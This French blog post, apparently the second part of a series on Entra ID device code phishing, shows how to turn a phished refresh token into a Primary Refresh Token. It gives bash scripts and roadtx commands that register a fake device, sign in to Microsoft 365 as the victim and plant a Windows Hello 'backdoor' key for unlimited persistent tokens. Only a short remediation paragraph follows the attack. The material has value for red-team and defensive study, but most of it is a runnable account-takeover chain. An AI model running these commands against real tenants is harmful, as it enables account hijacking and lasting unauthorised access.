Dans la partie 1, nous avons mis en place une architecture de phishing en exploitant le Device Code Flow comme méthode d’authentification.
Une fois que la victime est tombée dans le piège de l’attaque par phishing, nous avons reçu deux tokens :
- L’Access Token, donnant l’accès à la ressource, dans notre cas l’application associée au Client ID spécifiée lors de la génération du code d’appareil.
- Le Refresh Token, permettant de rafraîchir l’Access Token une fois expiré.
Cependant, ces tokens étant liés à une application spécifique, ils ne nous permettent que d’exécuter les actions autorisées pour cette application, comme lister les utilisateurs Entra ou autres. Ils ne nous permettent pas de prendre possession du compte de la victime.
Mais alors, avons-nous créé une infrastructure de phishing pour finalement ne pas pouvoir contrôler la victime ?
Heureusement, non. Il existe un troisième token dont je n’ai pas encore parlé.
Laissez-moi vous introduire le PRT (Primary Refresh Token).
Primary Refresh Token (PRT)
Le Primary Refresh Token est le token permettant le SSO (Single Sign-On) sur les appareils connectés à Entra ID. Avec un PRT sur votre appareil Windows, par exemple, vous pourrez passer les authentifications Entra ID sur toutes les applications sans entrer d’identifiants.
Ce token, stocké dans le processus LSASS, expire au bout de 14 jours si l’appareil n’est plus utilisé.
Mais alors, comment, à partir d’un token d’application, obtenir un PRT ?
Prérequis
- Avec notre Refresh Token récupéré après la validation du code par la victime, nous allons demander un token pour le service d’enregistrement des appareils.
- Avec ce nouveau token, nous allons créer un nouvel appareil sur Entra ID en simulant un faux Windows (ou tout autre OS/Appareil).
- Avec le Refresh Token et le faux appareil, nous allons demander un PRT pour utiliser le SSO sur notre faux appareil généré.
Voici un script qui réalise ces étapes :
#!/bin/bash
# Étape 1 : Obtenir un token pour l’enregistrement des appareils
roadtx gettokens --refresh-token $1 -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r drs
# Étape 2 : Créer un faux appareil
roadtx device -a join -n DESKTOP-12345 # Changer le nom du faux appareil si besoin
# Étape 3 : Obtenir un PRT
roadtx prt --refresh-token $1 -c "desktop-12345.pem" -k "desktop-12345.key"
Utilisez ce script en ajoutant votre Refresh Token obtenu lors de la phase de phishing :
./upgrade-token.sh
Exploitation
Avec le PRT généré, vous pouvez désormais faire ce que bon vous semble sur le compte de l’utilisateur.
- Étendre les permissions du PRT pour accéder à d’autres applications :
roadtx prtauth -c msteams -r msgraph - Se connecter au portail de votre choix avec le PRT :
roadtx browserprtauth -url https://office.com
Les seules limites sont les permissions associées à l’utilisateur compromis.
Persistance
Si la MFA est activée et que la victime a dû entrer un code MFA lors du phishing, le Refresh Token obtenu comportera un claim différent.
En inspectant l’Access Token récupéré durant l’attaque, si l’utilisateur a utilisé la MFA, le claim MFA sera ajouté dans le JWT.
Voici un utilisateur qui se connecte sans MFA :
Et voici un utilisateur ayant activé la MFA :
Le claim MFA sera transféré dans le PRT. On peut voir les claims de l’Access Token généré par notre PRT avec la commande suivante :
roadtx describe < .roadtools_auth | jq .
Le claim AMR contiendra MFA :
Mais à quoi cela peut-il bien servir ?
Windows Hello
Si le claim MFA date de moins de 10 minutes, nous pourrons ajouter une clé Windows Hello sur le faux appareil, permettant de générer un nombre illimité de PRT sans expiration.
En d’autres termes, nous contrôlons non seulement l’utilisateur, mais aussi une de ses méthodes d’authentification.
Prérequis
- Un Refresh Token avec le claim MFA.
- Un Refresh Token MFA datant de moins de 10 minutes.
Étapes
- Enrichir le PRT en ajoutant le claim
ngcmfa. - Générer la clé Windows Hello.
Voici un script qui réalise ces étapes :
#!/bin/bash
# Étape 1 : Enrichir le PRT
roadtx prtenrich --ngcmfa-drs-auth
# Étape 2 : Générer la clé Windows Hello
roadtx winhello -k backdoor.key
Maintenant, nous avons une méthode d’authentification persistante sur la victime et pouvons générer des PRT illimités :
roadtx prt -hk backdoor.key -u "" -c fakedevice.pem -k fakedevice.key
Remédiations
Si la remédiation de la partie 1 n’a pas suffi à bloquer l’attaque, il faut empêcher l’enregistrement de nouveaux appareils sauf pour votre équipe d’onboarding.
Cependant, si un membre de l’équipe d’onboarding est ciblé, la dernière défense reste la formation des employés pour détecter les attaques de phishing.
